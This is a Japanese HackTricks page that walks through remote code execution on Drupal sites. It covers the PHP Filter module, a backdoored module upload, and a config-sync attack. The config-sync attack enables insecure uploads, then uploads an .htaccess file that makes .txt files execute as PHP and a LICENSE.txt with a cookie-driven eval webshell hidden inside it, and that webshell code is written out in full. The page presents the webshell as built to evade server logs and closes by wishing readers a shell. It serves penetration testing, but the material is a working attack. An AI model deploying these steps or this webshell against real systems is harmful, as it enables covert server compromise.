Drupal RCE
Reading time: 11 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
PHPフィルターモジュールを使用して
warning
古いバージョンのDrupal (バージョン8以前) では、管理者としてログインし、PHPフィルター
モジュールを有効にすることが可能でした。このモジュールは「埋め込まれたPHPコード/スニペットを評価することを許可します。」しかし、バージョン8からはこのモジュールはデフォルトでインストールされていません。
- /modules/phpに移動し、403エラーが返された場合は、PHPフィルタープラグインがインストールされており、続行できます
- そうでない場合は、
Modules
に移動し、PHP Filter
のボックスにチェックを入れてからSave configuration
をクリックします - 次に、これを悪用するために、
Add content
をクリックし、Basic Page
またはArticle
を選択し、PHPバックドアを書き込み、テキスト形式でPHP
コードを選択し、最後にPreview
を選択します - それをトリガーするには、新しく作成されたノードにアクセスするだけです:
curl http://drupal.local/node/3
PHPフィルターモジュールのインストール
warning
現在のバージョンでは、デフォルトのインストール後にウェブへのアクセスのみでプラグインをインストールすることはできなくなりました。
バージョン8以降、 PHPフィルター モジュールはデフォルトでインストールされていません。この機能を利用するには、自分でモジュールをインストールする必要があります。
- Drupalウェブサイトからモジュールの最新バージョンをダウンロードします。
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- ダウンロードが完了したら、
管理
>レポート
> **利用可能な更新
**に移動します。 - **
参照
をクリックし、ダウンロードしたディレクトリからファイルを選択し、次にインストール
**をクリックします。 - モジュールがインストールされたら、
コンテンツ
をクリックし、Drupal 7の例と同様に新しい基本ページを作成します。再度、テキストフォーマット
ドロップダウンからPHPコード
を選択することを忘れないでください。
バックドア付きモジュール
warning
現在のバージョンでは、デフォルトのインストール後にウェブへのアクセスのみでプラグインをインストールすることはできなくなりました。
モジュールをダウンロードし、バックドアを追加してインストールすることが可能でした。例えば、圧縮形式でTrurnstileモジュールをダウンロードし、その中に新しいPHPバックドアファイルを作成し、.htaccess
ファイルを使用してPHPファイルにアクセスできるようにします:
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>
そして、http://drupal.local/admin/modules/install
に移動して、バックドア付きモジュールをインストールし、/modules/turnstile/back.php
にアクセスして実行します。
設定同期を使用したDrupalのバックドア
投稿者 Coiffeur0x90
パート1 (Media と Media Library の有効化)
Extend メニュー (/admin/modules) では、すでにインストールされていると思われるプラグインを有効化できます。デフォルトでは、プラグイン Media と Media Library は有効化されていないようなので、有効化しましょう。
有効化前:
 (1) (1) (1) (1).png)
有効化後:
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png)
 (1) (1) (1) (1) (1) (1).png)
パート2 (Configuration synchronization 機能の活用)
私たちは Configuration synchronization 機能を利用して、Drupalの設定エントリをダンプ(エクスポート)し、アップロード(インポート)します:
- /admin/config/development/configuration/single/export
- /admin/config/development/configuration/single/import
Patch system.file.yml
最初のエントリ allow_insecure_uploads
をパッチすることから始めましょう:
ファイル: system.file.yml
...
allow_insecure_uploads: false
...
 (1) (1) (1) (1) (1) (1).png)
に:
ファイル: system.file.yml
...
allow_insecure_uploads: true
...
 (1) (1) (1) (1) (1).png)
パッチ field.field.media.document.field_media_document.yml
次に、2番目のエントリ file_extensions
を以下のようにパッチします:
File: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
 (1) (1) (1).png)
に:
ファイル: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
このブログ投稿では使用していませんが、
file_directory
を任意の方法で定義でき、パストラバーサル攻撃に対して脆弱であることが指摘されています(これにより、Drupalファイルシステムツリー内で上に戻ることができます)。
 (1) (1) (1).png)
パート3(機能 Add Document の活用)
最後のステップは最も簡単で、2つのサブステップに分かれています。最初は、Apacheディレクティブを活用し、.txtファイルがPHPエンジンによって解釈されるようにするために、.htaccess形式のファイルをアップロードします。2つ目は、ペイロードを含む.txtファイルをアップロードすることです。
ファイル: .htaccess
<Files *>
SetHandler application/x-httpd-php
</Files>
# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>
このトリックがクールな理由は何ですか?
WebサーバーにWebshell(LICENSE.txtと呼ぶことにします)をドロップすると、$_COOKIE
を介してコマンドを送信でき、Webサーバーログにはテキストファイルへの正当なGETリクエストとして表示されるからです。
なぜWebshellをLICENSE.txtと名付けるのか?
単純に、例えばcore/LICENSE.txtのようなファイルを取ると(これはDrupalコアにすでに存在します)、339行でサイズが17.6 KBのファイルがあり、真ん中に小さなPHPコードのスニペットを追加するのに最適です(ファイルが十分に大きいため)。
 (1) (1) (1).png)
ファイル: パッチを当てたLICENSE.txt
...
this License, you may choose any version ever published by the Free Software
Foundation.
<?php
# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}
?>
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
...
パート 3.1 (ファイル .htaccess のアップロード)
まず、Add Document (/media/add/document) 機能を利用して、Apache ディレクティブを含むファイル (.htaccess) をアップロードします。
 (1) (1) (1).png)
 (1) (1) (1).png)
 (1) (1) (1).png)
パート 3.2 (ファイル LICENSE.txt のアップロード)
次に、Add Document (/media/add/document) 機能を再度利用して、ライセンスファイル内に隠された Webshell をアップロードします。
 (1).png)
 (1).png)
 (1).png)
パート 4 (Webshell とのインタラクション)
最後の部分は、Webshell とのインタラクションです。
以下のスクリーンショットに示されているように、Webshell によって期待されるクッキーが定義されていない場合、Web ブラウザを介してファイルを参照すると、次の結果が得られます。
 (1).png)
攻撃者がクッキーを設定すると、Webshell とインタラクションし、任意のコマンドを実行できます。
 (1).png)
そして、ログに見ると、要求されたのは txt ファイルだけのようです。
 (1).png)
この記事を読んでいただきありがとうございます。シェルを取得するのに役立つことを願っています。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。